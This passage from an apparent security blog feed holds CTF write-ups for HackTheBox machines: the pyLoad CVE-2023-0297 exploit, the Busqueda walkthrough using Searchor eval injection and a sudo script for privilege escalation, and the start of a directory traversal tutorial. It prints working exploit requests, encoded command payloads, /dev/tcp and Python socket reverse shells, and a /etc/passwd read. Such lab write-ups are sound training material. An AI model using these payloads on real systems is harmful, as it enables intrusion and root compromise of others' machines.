<li>We see /usr/bin/python3 /usr/local/bin/pyload is being run by the root user, hence has the privileges of the root. And as we are looking for a way into the system with root privileges, this could be our way in.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697574469351/789618e6-f48f-4eb6-b2e7-9fbda1c1b0a0.png" alt class="image--center mx-auto" /></p>
<p>Let's search if there's any exploit for this service "pyLoad" version 0.5.0, that's running on the compromised machine.</p>
<ul>
<li><p>I found a CVE that was released this year 2023 only that mentions pyLoad 0.5.0 as vulnerable to letting attackers run arbitrary code: <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2023-0297">CVE-2023-0297</a>.</p>
</li>
<li><p>POC: <a target="_blank" href="https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/">https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/</a></p>
</li>
<li><p>It goes by the name Pre-auth Remote Code Execution.</p>
</li>
<li><p>The POC mentions that this vulnerability exists in js2py functionality. js2py translates javascript code into python.</p>
</li>
<li><p>It lets us execute arbitrary code.</p>
</li>
</ul>
<pre><code class="lang-bash"><span class="hljs-comment"># POC</span>
curl -i -s -k -X $<span class="hljs-string">'POST'</span> \
    -H $<span class="hljs-string">'Host: 127.0.0.1:8000'</span> -H $<span class="hljs-string">'Content-Type: application/x-www-form-urlencoded'</span> -H $<span class="hljs-string">'Content-Length: 184'</span> \
    --data-binary $<span class="hljs-string">'package=xxx&amp;crypted=AAAA&amp;jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&amp;passwords=aaaa'</span> \
    $<span class="hljs-string">'http://127.0.0.1:8000/flash/addcrypted2'</span>
</code></pre>
<p>The parameter that's been tampared in POC is <mark>jk</mark> which has a value that appears to be encoded.</p>
<p>Let's try a decoder and decode this long value. You can use any web-based decoder and choose URL decoding. I used Burp Suite Decoder and decoded it as url:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697575881136/20f6096c-7218-424e-83be-a2bfee225b8e.png" alt class="image--center mx-auto" /></p>
<p>The decoding reveals that it is a Python one-liner:</p>
<pre><code class="lang-bash">pyimport os;os.system(<span class="hljs-string">"touch /tmp/pwnd"</span>)
</code></pre>
<ul>
<li>That creates a file "pwnd" in /tmp directory. That's all that it does.</li>
</ul>
<blockquote>
<p>So in summary, we have pyLoad running with root-level privileges, and on top of that, this POC confirms that have a way to execute commands on the compromised remote system as well.</p>
</blockquote>
<p>Now think about what we can do with this, got anything popping up in your head?</p>
<ul>
<li>That's right, we can make the remote system run a reverse shell code and gain a root shell. So let's do that.</li>
</ul>
<p>Using SSH connection, we create a script that contains the reverse shell code, in the directory /tmp/ :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697578272348/58072f16-82c0-4378-9a30-f975042f119b.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">import os
os.system(<span class="hljs-string">"bash -c '/bin/sh -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1'"</span>)
</code></pre>
<hr />
<p>Now I'll listen at 9001 on my local system as the reverse shell code payload contains it:</p>
<pre><code class="lang-bash">nc -lvnp 9001
</code></pre>
<p>Now up the decoded part of the POC that I showed earlier and alter it to execute this Python script on the remote compromised system:</p>
<pre><code class="lang-bash">pyimport os;os.system(<span class="hljs-string">"python3 /tmp/pwned.py"</span>)
</code></pre>
<p>Now URL-encode this part and place it in the POC at the place of jk parameter's value:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># URL-encoded</span>
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%70%79%74%68%6f%6e%33%20%2f%74%6d%70%2f%70%77%6e%65%64%2e%70%79%22%29
</code></pre>
<pre><code class="lang-bash"><span class="hljs-comment"># Modified POC</span>
curl -i -s -k -X $<span class="hljs-string">'POST'</span> \
    --data-binary $<span class="hljs-string">'package=xxx&amp;crypted=AAAA&amp;jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%70%79%74%68%6f%6e%33%20%2f%74%6d%70%2f%70%77%6e%65%64%2e%70%79%22%29;f=function%20f2(){};&amp;passwords=aaaa'</span> \
    $<span class="hljs-string">'http://127.0.0.1:8000/flash/addcrypted2'</span>
</code></pre>
<ul>
<li>For some reason, extra request headers ( -H ) in the POC were causing a problem, so removed them.</li>
</ul>
<p>As we have port forwarded, we can run this POC at either our system or on the compromised system. So Let's do it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697584682896/82f6cbb3-2d81-4edf-9b3f-f8997139f0d2.png" alt class="image--center mx-auto" /></p>
<p>This will make a request using PyLoad which will let the payload in jk value run on the server. The jk value will trigger the command "python3 /tmp/pwned.py" and run the pwned.py script which contains reverse shell code. Hence we should be able to gain a shell on our local machine's listener at port 9001.</p>
<p>Now our listener should have received a shell:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697584737770/d197f511-38aa-469e-aa3b-81d1af07443f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697585258325/e66ec9fe-11ba-4cf5-ab3c-27a73d0cec7a.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-we-have-a-root-shell">We have a root shell !!</h3>
<hr />
<h1 id="heading-retrieving-the-root-flag">Retrieving The root Flag:</h1>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697584784107/a874e757-7dac-4d34-a2a9-fa43b8bc5510.png" alt class="image--center mx-auto" /></p>
<ul>
<li>And we have the root flag now.</li>
</ul>
<hr />
<p><strong>Suggested Videos:</strong></p>
<p>Chisel - an alternative to SSH port-forwarding ( you should definitely watch it, it will help you in CTFs and in scenarios when you have a shell and not a SSH on the target ) :</p>
<ul>
<li><p>Chisel <a target="_blank" href="https://youtu.be/vxW-YZNA1l4?si=fqGddPny1gP0UOVM">short intro</a></p>
</li>
<li><p>Chisel <a target="_blank" href="https://youtu.be/pbR_BNSOaMk?si=k3ImX1v7Bv40kRmb">John Hammond</a> long video</p>
</li>
</ul>
<hr />
<h1 id="heading-peace">Peace!!</h1>
<p><img src="https://media.giphy.com/media/jn7v7WA51dizmXBntd/giphy.gif" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Busqueda - HackTheBox]]></title><description><![CDATA[After having downloaded the Openvpn file connect to HTB, then spawn the Busqueda machine.
As soon as the Busqueda IP shows up, check the connection first by simply pinging Busqueda's ip from your machine's terminal.
Also, put Busqueda's IP in /etc/ho...]]></description><link>https://blog.redteamers.in/busqueda-hackthebox</link><guid isPermaLink="true">https://blog.redteamers.in/busqueda-hackthebox</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[#walkthrough]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Sat, 14 Oct 2023 16:36:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745597304783/d04eb0af-0493-4fc0-a393-97258833b96b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<p>After having downloaded the Openvpn file connect to HTB, then spawn the Busqueda machine.</p>
<p>As soon as the Busqueda IP shows up, check the connection first by simply pinging Busqueda's ip from your machine's terminal.</p>
<p>Also, put Busqueda's IP in /etc/hosts file with searcher.htb as the hostname corresponding to it. This will help later while we try and access the web app if there's any.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697140471575/c6fa4d50-354d-49a1-8aa6-6ae329d836a4.png" alt class="image--center mx-auto" /></p>
<p><img src="https://media.giphy.com/media/ZJ6r7T0GWbfdyXgVYs/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-mapping-the-web-app">Mapping The Web App:</h1>
<p>Let us start with a simple Nmap scan:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697140856867/73a894a3-71aa-4427-a6fe-f7c7a6cc1e9f.png" alt class="image--center mx-auto" /></p>
<p>-v switch is simply for verbosity so that the results are more with verbs and hence human readable.</p>
<p>I almost always like to use this switch as some Nmap scans can take quite some time, and seeing no results makes me impatient, -v switch shows you what's going on behind the scenes in real-time and I love it.</p>
<ul>
<li><p>We discovered 2 open ports 22, and 80.</p>
</li>
<li><p>Let's dig deeper into these two by initiating another scan just for these 2 ports to discover the version of these.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697141169856/96d411b8-1616-4541-bdce-4bb558eaa17b.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>So we get an ssh running at 22</p>
</li>
<li><p>and Apache http at 80</p>
</li>
</ul>
<p>Let's browse this Apache http and see what it shows : searcher.htb</p>
<p>( if you haven't already, put Busqueda's IP in /etc/hosts file with searcher.htb as the hostname corresponding to it, as mentioned in the beginning )</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697141991814/dd9a95b1-1895-4143-b177-e45ff33ae0d5.png" alt class="image--center mx-auto" /></p>
<p>If you look closely, in the footer section, we see Searcher version.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697142108626/ccccbd36-d606-4dba-97da-23d8e31e92aa.png" alt class="image--center mx-auto" /></p>
<p>Let's do a bit of research and see if it's something of interest or not..</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697152999263/1fa2c83a-c8ed-4c2e-b5ee-532f397256f2.png" alt class="image--center mx-auto" /></p>
<p>If we read about the vulnerabilty, we find that there's improper implementation of eval(). The eval() function is called in main.py, in the web app, user inputs aren't sanitized and is directly passed to this function that lets user execute arbitrary code through the search function of the searcher.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697153981096/9d96939d-7304-4166-ab60-afb1bfa22977.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">Reference reads: 
  https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
  https://security.snyk.io/package/pip/searchor/2.4.0
  https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-
</code></pre>
<hr />
<h1 id="heading-exploitation">Exploitation:</h1>
<h4 id="heading-lets-check-how-and-where-web-app-doesnt-sanitize-users-input-and-directly-passes-it-to-the-eval-function-call">Let's check how and where web app doesn't sanitize user's input and directly passes it to the eval() function call.</h4>
<p>Let's check this on the web app:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697157391042/b2f454bf-19e0-4e65-a2d0-9cb499a8d4e1.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">')+ str(__import__('os').system('pwd'))#
</code></pre>
<p>When we click search, if the web app is vulnerable, it should return us a path of directory on which this app is running in the server:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697157609584/f9955a94-61da-43cf-aee0-ec515644a862.png" alt class="image--center mx-auto" /></p>
<p>And so it did. It returns us /var/www/app as the response of the command injected "pwd".</p>
<p>Let's see who's the user just for fun:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697158498837/2135e6fb-9299-4ed9-8722-7828948184a0.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697157716561/77171b01-e495-4250-81b4-a069930b73a6.png" alt class="image--center mx-auto" /></p>
<ul>
<li>svc is the account on the server.</li>
</ul>
<hr />
<h1 id="heading-gaining-a-shell">Gaining a Shell:</h1>
<p>Now that we confirmed the existence of vulnerability, let's use it to execute a command that gives a shell on the server.</p>
<p>Let's do this in Burp Suite, first, intercept the request that you make in Searcher and forward it to the repeater:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697160030863/bab28507-1a17-479c-b8ab-71206ba0ce49.png" alt class="image--center mx-auto" /></p>
<p>In Burp:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697160061083/10aed625-4e25-425c-b298-e3161c7b30d0.png" alt class="image--center mx-auto" /></p>
<ul>
<li>The marked part is where we are going to place our reverse shell payload command. We are going to use the same payload as earlier but we'll replace pwd with a reverse shell code.</li>
</ul>
<pre><code class="lang-plaintext">')+ str(__import__('os').system('pwd'))#
</code></pre>
<p>You can go to revshells.com to create a reverse shell payload to replace pwd with.</p>
<p>Put your attacker machine's IP and port that it is listening on:</p>
<p>In my case I'm listening on port 9001 and the ip that I got when I connected with OpenVPN file is 10.10.16.4. So that's what my payload contains:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697161226706/4acbde99-4f05-4f6e-870e-26651e4822b3.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">nc -lvnp 9001 <span class="hljs-comment">#to start listening on 9001 port</span>
</code></pre>
<ul>
<li><p>Now right-click the selected part and select Convert Selection --&gt; base64 url --&gt; base64 url encode, to encode this payload.</p>
</li>
<li><p>It should look like this:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697161486969/b4c01cda-c1b9-42d8-a52d-224985a3d0a5.png" alt class="image--center mx-auto" /></p>
<p>Now use the pipe operator and add bash -d, then use another pipe operator and then append bash to this payload, as shown:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697162337927/268e7251-c03d-40b5-9543-4d2cadd55264.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>This will decode the reverse shell payload once it reaches the server, and then execute it using bash shell.</p>
</li>
<li><p>Also, add echo at the beginning of the base64 encoded payload:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697162365267/8a38054b-6177-4fdd-a40f-35d76858c5b3.png" alt class="image--center mx-auto" /></p>
<p>Now we are ready to send this request, but before you do that make sure you're listening on the port that you mentioned in your payload:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697161914107/a1c273f4-7fa6-42fb-8d38-ec608a901713.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697162459901/2cf451af-3b53-4b95-99c2-27626f0feb10.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697162467908/7396262d-07c6-4b6a-aae6-f3a75edc4361.png" alt class="image--center mx-auto" /></p>
<p>We see that we are able to make the command reach back to our shell, but the shell connection wasn't established.</p>
<p>Let's try again by altering the request to use bash instead of sh shell:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697191858092/0725d29f-8339-46fa-9b95-3ef16295072f.png" alt class="image--center mx-auto" /></p>
<p>Now again base64 encode the part after echo and before the first pipe operator | :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697192031014/6a2c9df9-befd-4dbf-b325-bdec934872d1.png" alt class="image--center mx-auto" /></p>
<p>Now copy the entire string after query= and post it in the searcher search index again:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697192116498/a757189e-564a-48bd-81a0-e06f5b7f9fe5.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Before clicking search, again, make sure that you are listening on the port that you used in the payload, in my case I'm listening on 9001.</p>
</li>
<li><p>And now let's click on search, hopefully, this should give us a shell on the machine:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697192207310/7c27bcb2-0782-47f3-a1af-61cf95c83453.png" alt class="image--center mx-auto" /></p>
<p>And guess what it did..</p>
<h3 id="heading-yay-we-got-a-shell">Yay! we got a shell.</h3>
<hr />
<h1 id="heading-retrieving-user-flag">Retrieving User Flag:</h1>
<p>Before you proceed into reading this further, I'd suggest that you try and find the user flag on your as you already have a shell now, it wouldn't be difficult at all.</p>
<p>Now let's see, as I told you it is too damn easy once you have a shell to retrieve the user's flag. So is showing in the screenshot below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697192612222/fc68451a-8924-401c-a615-c3c7737a26d7.png" alt class="image--center mx-auto" /></p>
<p>We are done till the user flag. Let's move towards the root flag now.</p>
<p><img src="https://media.giphy.com/media/WYyvz9PIhjLHgiyvR2/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-retrieving-the-root-flag">Retrieving the Root Flag:</h1>
<p>It's pretty self-explanatory that to retrieve the Root flag, we'll have to have root privileges. That means we'll now be doing privilege escalation.</p>
<ul>
<li><p>Let's enumerate through the server in the hope of finding something interesting.</p>
</li>
<li><p>Starting from the directory that we first gained the shell in: ( /var/www/app )</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697193651684/db8f879a-abed-4922-be2a-da943828d356.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<hr />
<h1 id="heading-optional-just-for-fyi">Optional - Just for FYI:</h1>
<h3 id="heading-the-following-git-directory-part-is-optional-but-is-there-to-make-you-aware-of-this-process">The following .git directory part is optional but is there to make you aware of this process:</h3>
<p>I think that the .git directory is a great find, so I like to download the entire directory on my local system and maybe inspect it thoroughly, go through the web app's previous version, to maybe end up finding sensitive information.</p>
<p>So check if Python is on the remote system ( that I have the shell on ). It turns it has, so host a simple python3 server in the app's directory:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697194461983/4f4638d2-736b-490d-8482-e8a16d7aa451.png" alt class="image--center mx-auto" /></p>
<p>Now if you visit the url: machine'sIp:8000 ( 10.10.11.208:8000 ) on your system we get:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697194518352/6bffcb1e-d239-4443-b85a-74ba6b7953de.png" alt class="image--center mx-auto" /></p>
<p>.git/ directory contents:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697194831824/1546a20d-5afa-4286-888b-f7218c51bb91.png" alt class="image--center mx-auto" /></p>
<p>Copy the url and open a terminal on your system:</p>
<pre><code class="lang-bash">wget -r -np -nH --cut-dirs=3 -R index.html http://10.10.11.208:8000/.git/

<span class="hljs-comment">#Refer this to understand the command: https://stackoverflow.com/questions/23446635/how-to-download-http-directory-with-all-files-and-sub-directories-as-they-appear</span>
</code></pre>
<p>The command will download the .git directory with all the contents within it recursively.</p>
<h3 id="heading-alternatively-you-can-use-git-extension">Alternatively, you can use .git extension:</h3>
<ul>
<li>Install this extension:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697242468577/1761384a-fb89-4cef-95de-782847e6ec0d.png" alt class="image--center mx-auto" /></p>
<p>Now host a simple python server on the directory /var/www/app :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697194461983/4f4638d2-736b-490d-8482-e8a16d7aa451.png" alt class="image--center mx-auto" /></p>
<p>Now visit the Url from your machine:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697242661497/59aa7450-1534-42be-8a98-be31fe6f65a7.png" alt class="image--center mx-auto" /></p>
<ul>
<li>The extension will prompt you that the .git directory is exposed. Just click on it and download it.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697242940018/56e07256-32e3-4977-8704-e428ac568757.png" alt class="image--center mx-auto" /></p>
<p>Now you can do a full inspection of this .git directory and go crazy with it.</p>
<p>You can use tools like <a target="_blank" href="https://www.gitkraken.com/">GitKraken</a>.</p>
<p>But we'll come back to a straight and simple process as I have to finish writing this write-up.</p>
<hr />
<h2 id="heading-the-git-directory-part-was-optional-now-coming-back-to-the-priv-escalation">The .git directory part was optional. Now coming back to the Priv. escalation:</h2>
<p>But .git is where the juice is and to access that, we can just use the shell that we have to inspect the directory's file like config and etc:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697195870718/495c1fa1-1753-46e4-889c-ffb67305bed7.png" alt class="image--center mx-auto" /></p>
<p>We see a string what appears to be a key after <code>cody:</code>.</p>
<p>Let's try that on ssh as we know that ssh is open, through the nmap scan.</p>
<p>Using the key:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697197443229/5fac3edd-3251-4997-87f2-5fe18a0cab1c.png" alt class="image--center mx-auto" /></p>
<p>We managed to get ssh into the system:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697197422457/69f03b02-f59e-4665-a553-2bc914fe5b1e.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-privilege-escalation">Privilege Escalation:</h1>
<p>Let's first check what svc user is allowed to run on the system using the <code>sudo -l</code> command:</p>
<p>Note: The -l option with sudo lists the commands that the user is allowed or forbidden to run. It retrieves this info using the sudoers file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697198537586/749376ae-f55d-433b-96c3-78bb32243858.png" alt class="image--center mx-auto" /></p>
<ul>
<li>We see that we can run a Python script named system-checkup.py with the privilege of root. BINGO!!.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697199925036/6df4c3d4-e74e-487a-b6f8-a5262c978bf4.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Unfortunately, we can't just read or modify this script as we don't have enough privilege.</p>
</li>
<li><p>But no worries, the script takes an argument script which is * in the screenshot above.</p>
</li>
</ul>
<hr />
<h1 id="heading-optional-read">Optional read:</h1>
<p><code>we'll go back to the home directory and there we'll create the script which will be passed as an argument in place of *.</code></p>
<p><code>User revshells.com to create the reverse shell payload or other preferred option:</code></p>
<p>or</p>
<pre><code class="lang-bash">import socket,os,pty;s=socket.socket();s.connect((<span class="hljs-string">"&lt;local-ip&gt;"</span>,4444));[os.dup2(s.fileno(),fd) <span class="hljs-keyword">for</span> fd <span class="hljs-keyword">in</span> (0,1,2)];pty.spawn(<span class="hljs-string">"bash"</span>)
<span class="hljs-comment"># source: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-privilege-escalation/</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697202787883/3fc88e58-d199-496e-9bbb-5ddb1e8a2402.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><code>shebang should contain the /usr/bin/python3 as we checked it in the sudo -l command.</code></p>
</li>
<li><p><code>The payload in the script should be created with the IP and port that the attacker machine is listening on.</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697200761890/8b7b3cbf-6407-472f-97dc-e1cf323299c0.png" alt class="image--center mx-auto" /></p>
<p><code>As we know this demands making the script executable, but we can't do that as we don't have root privilege and neither can use sudo with chmod.</code></p>
<hr />
<p>So we'll create the script on our local machine, then fetch it using wget and python simple server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697202837222/cd1dad8d-fa71-4fdf-aa0e-f775f0901ffa.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697202910326/910b6f96-6f1f-40f3-a4b1-c28b1bba18e7.png" alt class="image--center mx-auto" /></p>
<p>Now our system is serving, let's wget the full-checkup.sh file in the busqueda:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697201584428/7513fdb0-79c9-4918-8053-767624decac1.png" alt class="image--center mx-auto" /></p>
<p>Now let's see if it allows us to make it executable or not:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697201645028/7d58cc83-8e38-4ed9-85cf-cbe426edf7e4.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It did, now full-checkup.sh is executable. Phew finally!!</li>
</ul>
<p>Now open a listener at the port that you created the scirpt with, I did on the 4444 port, so I'm going to listen on that:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697203030194/46656a87-e16f-43aa-b8ea-0a64e7bbfc39.png" alt class="image--center mx-auto" /></p>
<p>Now let's execute it:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697206060024/f092e502-b505-45e2-bfa8-c80aa23b7c6b.png" alt class="image--center mx-auto" /></p>
<ul>
<li>If we check the listener, we'll see that we've a shell with root as the user.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697206047177/36d2b9ce-290a-4201-9c9e-f737120a3aab.png" alt class="image--center mx-auto" /></p>
<ul>
<li>And we got the root flag as well.</li>
</ul>
<p><img src="https://media.giphy.com/media/3oEjI53nBYOOEQgDcY/giphy.gif" alt class="image--center mx-auto" /></p>
<h1 id="heading-yay-we-did-it">Yay! We did it.</h1>
<h4 id="heading-see-ya-later-till-then-peace">See ya later. Till then peace.</h4>
<hr />
]]></content:encoded></item><item><title><![CDATA[Directory Traversal Pwned]]></title><description><![CDATA[The article will teach you what directory traversal is, how to find it, how to exploit it and how to prevent it.

What the heck is Directory Traversal?

Directory Traversal also known as Path Traversal, is a vulnerability that allows an attacker to r...]]></description><link>https://blog.redteamers.in/directory-traversal-pwned</link><guid isPermaLink="true">https://blog.redteamers.in/directory-traversal-pwned</guid><category><![CDATA[directoryTraversal]]></category><category><![CDATA[hacking]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[Testing]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Thu, 07 Sep 2023 14:48:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745598215791/f3c4c535-8ddf-4df1-bcfe-fbcf2ef4fb18.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<p>The article will teach you what directory traversal is, how to find it, how to exploit it and how to prevent it.</p>
<p><img src="https://media.giphy.com/media/Ys58sZLONbP4Yyqpt6/giphy.gif" alt class="image--center mx-auto" /></p>
<h1 id="heading-what-the-heck-is-directory-traversal">What the heck is Directory Traversal?</h1>
<ul>
<li><p>Directory Traversal also known as Path Traversal, is a vulnerability that allows an attacker to read files that the attacker shouldn't be able to.</p>
</li>
<li><p>It is a type of <strong><em>injection vulnerability</em></strong> because of which an attacker can inject a path to the vulnerable endpoint and be able to access the contents of the file specified in the path.</p>
</li>
</ul>
<p><strong>For Example:</strong></p>
<p>There's a web application: <strong>www.vulnerable-web-app.com</strong></p>
<p>The web app has an endpoint Images: <strong>/Images?filename=ProfilePic.png</strong></p>
<p>Assuming that this image ProfilePic.png resides in <code>/var/www/images</code> directory on the server.</p>
<p>The <strong>Images</strong> endpoint has a "<code>filename</code>" parameter that fetches the user's profile picture, as shown in the endpoint "<code>/Images?filename=ProfilePic.png</code><strong>"</strong>. Here the profile picture that's being fetched from the server filesystem is named "<code>ProfilePic.png</code>".</p>
<p>But here the web app's endpoint is vulnerable to Directory Traversal. So attacker will replace the image's name with the file path that he wants to read.</p>
<p>Considering that the file attacker is trying to access from the server is "<code>/etc/passwd</code>".</p>
<p><code>Note for beginners: /etc/passwd is a file in the Linux filesystem that contains a list of user accounts on the system and other details regarding them.</code></p>
<p>So the URL now looks like this with the payload "<strong>/etc/passwd</strong>" injected in it:</p>
<pre><code class="lang-bash">https://www.vulnerable-web-app.com/Images?filename=/etc/passwd
</code></pre>
<h2 id="heading-below-is-a-screenshot-of-request-and-response-in-burp-suite-to-explain-the-above">Below is a screenshot of request and response in burp suite to explain the above:</h2>
<p>Focus on the highlighted parts only.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694056351746/936e7fb0-fbbe-4617-aa08-8948a5279a86.png" alt class="image--center mx-auto" /></p>
<p>We have assumed Host ( web app ) to be: <code>www.vulnerable-web-app.com</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694056860315/4bbe9c0f-2603-4ea6-80c7-b85fcaed80a6.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Current request URL is:</p>
<p>  <code>https://www.vulnerable-web-app.com/images?filename=ProfilePic.png</code></p>
</li>
<li><p>The screenshot above shows the request fetches the "ProfilePic.png" of the current user. It is a valid request, that the web app allows users to make.</p>
</li>
<li><p>Now we will alter this request and replace the image name with the file's path that we want to access "/etc/passwd".</p>
</li>
</ul>
<h3 id="heading-request-with-payload-etcpasswd">Request with payload <code>/etc/passwd</code>:</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694056084675/97672467-bf7f-4e52-ad3f-4e92b93c6667.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>We've altered the request.</p>
</li>
<li><p>Now the request URL with payload looks like:</p>
<p>  <code>https://www.vulnerable-web-app.com/images?filename=/etc/passwd</code>.</p>
</li>
<li><p>We'll send it to the server.</p>
</li>
<li><p>The server surprisingly responds with the content of the file "/etc/passwd" ( shown in the screenshot below ).</p>
</li>
<li><p>The server should have responded with a client-side error ( status codes in the range of 400 ) but instead it responds with a 200. Shown in the screenshot below.</p>
</li>
<li><p>This confirms that the web app's endpoint is vulnerable to Directory Traversal.</p>
</li>
</ul>
<h3 id="heading-response-from-the-server">Response from the server:</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694056262022/4c6a2642-38f6-4fef-9c4d-e69826d57177.png" alt class="image--center mx-auto" /></p>
<blockquote>
<h3 id="heading-why-etcpasswd-file">Why /etc/passwd file?</h3>
<ul>
<li><p>Well, a standard user doesn't have much privileges, not as much as the root user or sudo user ( in Windows admin user ).</p>
</li>
<li><p>So as a standard user, we can't access or read a lot of files in the root directory ( or the system's directory ).</p>
</li>
<li><p>But there are a few files that even a standard user can read, one of which is <code>/etc/passwd</code> file.</p>
</li>
<li><p>You don't need root privileges to read this file that is why we use this while checking for Directory Traversal vulnerability.</p>
</li>
</ul>
</blockquote>
